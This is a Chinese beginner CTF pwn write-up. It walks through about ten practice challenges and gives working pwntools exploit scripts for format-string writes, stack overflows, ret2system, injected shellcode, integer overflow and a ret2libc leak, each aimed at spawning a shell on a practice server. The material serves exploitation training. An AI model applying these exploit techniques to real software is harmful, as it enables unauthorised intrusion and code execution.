pwn做题流程:通过漏洞拿到shell(/bin/sh),一般flag文件就在shell的默认目录下,直接cat flag
新手区通关,完结撒花!
0x01 get_shell
nc连接后直接进入shell,ls可以看到当前目录下有flag,cat输出即可
绿色箭头处是输入的shell命令
0x02 CGfsb
使用到了python2的一个模块pwn(pip时Ubuntu下是pwn、CentOS7中是pwntools,但是python中的模块就叫pwn),不能在windows下使用。
#Ubuntu下安装pwn
apt-get update
apt install python-pip
pip install pwn
#CentOS7下安装pwntools
#http://www.ishenping.com/ArtInfo/234398.html
#https://github.com/facebook/prophet/issues/418
#注意:python2和python3同时存在的,所有pip命令都要加上python2 -m的前缀
#如python2 -m pip install pwntools
yum -y install python-pip
pip install --upgrade setuptools
pip install pwntools
yum install checksec
先来看一下pwn模块的使用:
然后分析本体程序
23行存在printf格式化漏洞。
先来看一下相关知识:
我浅显地总结一下:
常见的printf有两(及以上)个参数,如printf("%d", &a);
。但其实printf只需要一个参数,printf("%d%d");
,需要参数时从栈顶依次读入即可。前面的printf("%d", &a);
本质上就是先把a的地址压入栈内,然后printf读栈顶元素。
printf函数的第一个参数就是格式化字符串
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数
特别说一下:
%n
,如printf("abcdefg%n");
,%n前面写了7个字符,所以向ESP(栈顶指针)所指向的地址处所指向的地址处(ESP指向了栈顶,此处存储着一个地址)写入7。%10$n
,与%n
类似,不过是向[ESP + 10]处指向的内存处写入7。
结合本题,目的是将pwnme改为8,所以要构造长度为8的字符串(要包含pwnme的地址,否则你怎么把%n的结果传过去?),其后跟着%?$n
,这个?
是字符串中pwnme地址在栈中的位置(相对ESP的偏移)。
pwnme是在bss区,地址不会变动,恒为0x804A068
所以只需要找到偏移量即可。
message输入:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAA(十六进制0x41414141)的目的是标记,便于发现此字符串在栈中的位置。
0xffe269be是栈顶元素,后面的依次往后排。可以发现0x41414141是第十个,即偏移量为10.
可以构造payload:p32(0x804A068) + 'aaaa%10$n'
或'aaaa' + p32(0x804A068) + '%11$n'
,
aaaa只是为了占位,满足长度为8而已。
from pwn import *
p = remote('111.198.29.45','31217')
p.recvline('please tell me your name:')
p.sendline('123')
p.recvline('leave your message please:')
payload = p32(0x804A068) + 'aaaa%10$n'
p.sendline(payload)
p.interactive()
from pwn import *
p = remote('111.198.29.45','31217')
p.recvline('please tell me your name:')
p.sendline('123')
p.recvline('leave your message please:')
payload = 'aaaa' + p32(0x804A068) + '%11$n'
p.sendline(payload)
p.interactive()
0x03 when_did_you_born
此题太过暴力,爱蛙人士强烈谴责。
在两次判断v6是否等于1926的中间将v6改为1926即可拿到flag。
可以通过get(&v5);
栈溢出。
v5在sp(栈顶),v6在sp+8,所以get的值只需要前8个字符随意,紧跟着一个1926,皆可改变[sp+8]([sp+8]表示sp+8处的值),即v6.
from pwn import *
p = remote('111.198.29.45', '37481')
p.recvline("What's Your Birth?")
p.sendline('2000')
p.recvline("What's Your Name?")
payload = 'a' * (0x20 - 0x18) + str(p64(1926))
p.sendline(payload)
p.interactive()
0x04 hello_pwn
比前面0x03简单一些。
read时先写四个任意字符,到达0x60106c处,然后写入nuaa的倒序,即aaun。
因为dowrd_60106c是int类型,x86一般以Little-Endian存储(高地址存高位,低地址存低位)。但是我们的payload是字符串,一个字节就是一个字符,而数据存储整体上来看是由高地址往低地址延伸,所以对于字符串,高地址存靠前的字符,低地址存靠后的字符。正好和dowrd相反。
from pwn import *
p = remote('111.198.29.45', '31921')
p.recvline("~~ welcome to ctf ~~ ")
p.recvline("lets get helloworld for bof")
p.sendline("----aaun")
p.interactive()
0x05 level0
数组长为0x80,但是可以读入0x200个字节。
栈中结构:
+0008处的r是返回地址,程序return后从r所存储地址处开始运行。所以我们写满0x80个字符(buf),再写满0x08个字符(s),之后,我们就可以覆写r所存储的地址值了。
0x400596处是一个调用shell的函数,所以覆写的r为0x400596
from pwn import *
p = remote("111.198.29.45", "52778")
p.sendline('A' * 0x88 + p64(0x400596))
p.interactive()
调出shell后要自己输入cat flag哦~
0x06 level2
缓冲区0x88,允许读入0x100。明显的缓冲区溢出。
发现/bin/sh
字符串在0x804A024,名为hint.
system
函数的地址是0x8048320。这里有个大坑要注意:
有_system和system两个函数,我们找的是_system的地址。
_system:
system:
system中的extrn system:near
声明一个外部近指针system,具体内容可在稍后定义。
from pwn import *
p = remote('111.198.29.45', '42945')
#system = 0x804A038
system = 0x8048320
bin_sh = 0x804A024
payload = 'a' * (0x88 + 0x04) + p32(system) + p32(0) + p32(bin_sh)
p.send(payload)
p.interactive()
payload组成:0x88个缓冲区字符,0x04个覆盖ebp地址的字符,覆写返回地址为system函数(system的栈帧中的ebp),p32(0)填充ebp+4,p32(bin_sh)自然就是system的参数(ebp+8)喽~
参考阅读《加密与解密》P106.
对了,使用p32()是因为这是32位程序。
0x07 string
主函数。动态分配内存(malloc),地址赋给v3。然后v3赋给v4,相当于v3和v4都指向同一地址。然后给出v4指向的地址和下一个第一个地址。
输入name,没有漏洞。
选择east或up。但是选up会被dragon干掉,所以必须选east.
嗯,下图printf(&format, &format);
存在格式化字符串任意写的漏洞。可参考0x02 CGfsb
最关键的一步:
第17行是将v1转化为可执行函数。
本题没有出现system函数,所以要在此处写个shellcode。
当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。
但是,要运行至此处,要先满足if ( *a1 == a1[1] )
a1是前面提到的v4传入函数的形参,就是个地址。a[0]=v4[0]=v3[0]=68
, a[1]=v4[1]=v3[1]=85
。要将a[0]和a[1]修改为相同的值。
可以通过前面提到的格式化字符串漏洞来修改。
函数sub_400BB9()内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过%?$n
向v2指向的地址处写入字符串长度。
#查看sub_400BB9()栈内情况
from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:",'AAAA'+'-%p'*10)
p.recvuntil('I hear it')
上面程序为什么这么写,待会在后面的正式的交互代码中解释。这里只说一下最后一句。p.recvuntil('I hear it')
必须要写上,否则程序的debug末尾只能看到发送了数据,看不到之后print的format字符串。如下图:
上上图选中处,0xc23010是v2的内容,因为v2在format(就是许下的愿望wish)的前面一位,而通过0x41414141(图中是0x2d70252d41414141,是因为这是64位程序)可以找到format的起始位置。v2是栈内第7个参数。
所以wish就写成%85c%7$n
,作用是将85写入栈内第7个参数所指向的地址。
from pwn import *
p = remote("111.198.29.45","49404")
context(arch='amd64', os='linux', log_level='debug')
p.recvuntil('secret[0] is ')
v4_addr = int(p.recvuntil('\n')[:-1], 16)
p.sendlineafter("What should your character's name be:", 'cxk')
p.sendlineafter("So, where you will go?east or up?:", 'east')
p.sendlineafter("go into there(1), or leave(0)?:", '1')
p.sendlineafter("'Give me an address'", str(int(v4_addr)))
p.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())
p.sendlineafter("USE YOU SPELL", shellcode)
p.interactive()
获得执行system(“/bin/sh”)汇编代码所对应的机器码:asm(shellcraft.sh())
。注意要指明arch和os。arch有i386(x86)和amd64(x64)。攻防世界的题解区有人说这个函数失效,其实是因为他没指明环境。不同环境下的汇编代码是不同的。
代码的第二段从printf("secret[0] is %x\n", v4, a2);
输出的字符串中,提取v4的地址,注意把末尾的\n
剔除。
然后代码的第四段Give me an address,注意源代码中_isoc99_scanf("%ld", &v2);
,读入的不是字符串,是int64,是个数字,不要输入0x开头的字符串,也不要类似于1003fd2c的十六进制字符串,就输入一个十进制数字就行。不要使用p64()转换!!!int转换即可,但是send发送的是一个字符串,所以再str一下。
总结一下POP攻击链:通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。(当然你也可以改v4[1]的值)
嗯,最后我想说一下shellcode的撰写。正好前两天,学长PwnHt讲了讲这方面的内容。
参考链接:
LINUX 系统调用表
- 32位: http://shell-storm.org/shellcode/files/syscalls.html
- 64位: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
算了,具体内容我掌握的还不行,所以先放一放吧。过段时间再回来补。
TODO
0x08 guess_num
猜10次数字,范围1~6。猜对直接拿到flag.
本题考查随机数函数rand().
漏洞点在于:
相同的环境下,如果不设定(srand)一个种子(seed)的话,每次随机到的随机数序列是相同的。比如种子为0时,在linux下的随机数序列为{2,5,4,2,6,2,5,1,4,2,...}
(想要每次运行时得到的随机数序列不同,可以每次运行都设定一个不同的种子,比如时间)
所以我们可以通过输入v7时覆盖掉seed[0],使得种子恒定。然后本地用C语言,针对某一种子,求出其随机数序列中的前十个。
#include <stdio.h>
#include <stdlib.h>
int main(){
srand(2333);
for (int i=0; i<=9; i++){
printf("%d,", rand() % 6 + 1);
}
printf("\n");
}
注意windows和linux求出的随机数序列不同,这是个坑。
Ubuntu下gcc 8.cpp -o 8
,得到可执行文件8。运行可得:
from pwn import *
p = remote('111.198.29.45', '52847')
payload = 'a' * 0x20 + p64(2333)
p.sendline(payload)
rand = [4,2,5,3,3,3,4,1,1,1]
for i in rand:
p.sendline(str(i))
p.interactive()
0x09 int_overflow
整数溢出。
读入长度为0x199的passwd。
若passwd长度介于[4,8),则将passwd写入栈内。
目标是覆写上图的返回地址r,改为调用system("cat flag");
的函数的地址。
要想写dest,首先要过长度介于[4,8)的判断。
这里有整数溢出的漏洞。
对于_int8(8bit),最大为255。当传入256时,高位截断,取其地位,故256和1相等。
所以我们可以构造passwd的长度介于[255+4,255+8)
from pwn import *
p = remote("111.198.29.45", "40162")
p.sendline('1')
p.sendline('yzy')
p.recv()
system = 0x804868B
payload = 'a' * (0x14 + 0x04) + p32(system) + 'a' * (256+5-0x14-4-4)
p.sendline(payload)
p.interactive()
emmmm,开始时第5行的p.recv()
我没写,出现错误如下图:
明显看出先输入了aaaaaaaaa(passwd),再输出的Please input your passwd:
猜测原因是read(0, &s, 0x19u);
没读完0x19个字符。
添加上p.recv()
,收到输出信息时再输入passwd.(上面的程序)
下面的程序也可以:
from pwn import *
p = remote("111.198.29.45", "40162")
p.sendline('1')
p.sendline('y'*0x18)
system = 0x804868B
payload = 'a' * (0x14 + 0x04) + p32(system) + 'a' * (256+5-0x14-4-4)
p.sendline(payload)
p.interactive()
*0x18
是因为还要有个\n
0x0A cgpwn2
和0x06 level2原理相同,唯一的区别在于此题没有cat flag
或/bin/sh
的字符串,需要自己构造。
name位于bss区,可将字符串写入name变量。
from pwn import *
system = 0x8048420
string = 0x804A080
payload = 'a' * (0x26+4) + p32(system) + 'a'*4 + p32(string)
p = remote( '111.198.29.45','31522')
p.sendlineafter("please tell me your name", 'cat flag')
p.sendlineafter("hello,you can leave s
ome message here:", payload)
p.interactive()
当然你也可以写入/bin/sh
,拿到shell后再cat flag
0x0B level3
给出了libc。存在write函数。
- 用write函数泄露出write的真实内存地址(通过泄露got表中对应的write条目实现)
- 然后利用write函数真实内存地址减去给的libc中write函数的偏移得到imageBase(libc加载到内存中的基址)
- 最后imageBase加上libc中system的偏移就是真实内存地址了,/bin/sh地址同理。
构造ROP执行system思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。
参考:
JarvisOJ-PWN-Writeup专题-level3 (非原题)
from pwn import *
p = remote('111.198.29.45', '31447')
elf = ELF('/home/peppa/pwn/level3/level3')
libc = ELF('/home/peppa/pwn/level3/libc_32.so.6')
context.log_level = 'debug'
payload1 = 'a' * (0x88 + 4) + p32(elf.plt['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4)
p.recvuntil('Input:\n')
p.sendline(payload1)
write_addr = u32(p.recv())
libc_base_addr = write_addr - libc.sym['write']
system_addr = libc_base_addr + libc.sym['system']
bin_sh_addr = libc_base_addr + next(libc.search('/bin/sh'))
payload2 = 'a' * (0x88 + 4) + p32(system_addr) + p32(1000) + p32(bin_sh_addr)
p.sendline(payload2)
log.info(hex(elf.got['write']))
log.info('write_got_addr: %s'%hex(write_addr))
p.interactive()
payload1组成:缓冲区0x88个字符,长为4的ebp,返回地址覆写为PLT表中的write地址,接着是运行完write()后的返回地址(main的地址,因为等下payload2还要再次利用vulnerable_function()这个函数,所以要运行完write()要再次运行main()),之后就是write()的三个参数,其中第一个随便写,第二个是write的内容的地址(GOT表中write的地址,其指向内存中的write的地址。个人理解,存疑,TODO),第三个是write()内容的长度。
然后发送payload1,接受输出的write在内存中的地址。求出libc基址(内存中write的地址减去libc中write相对libc基址的偏移),求出system和/bin/sh
在内存中的地址。
然后就是喜闻乐见的payload2,应该不用解释,因为前面的题中解释了好几次了。
关于GOT,PLT
动态链接时,因为不知道模块加载位置,将地址相关代码抽出,放在数据段中就是got表。
为了实现地址的延迟绑定,再加了一个中间层,是一小段精巧的指令,用于在运行中填充got表。这些指令组成plt表。
参考《程序员的自我修养》第7章动态链接
存放函数地址的数据表,称为重局偏移表(GOT, Global Offset Table),而那个额外代码段表,称为程序链接表(PLT,Procedure Link Table)。它们两姐妹各司其职,联合出手上演这一出运行时重定位好戏。
我个人理解GOT里面放的是函数在内存中的地址,不知道理解地对不对。
看不太懂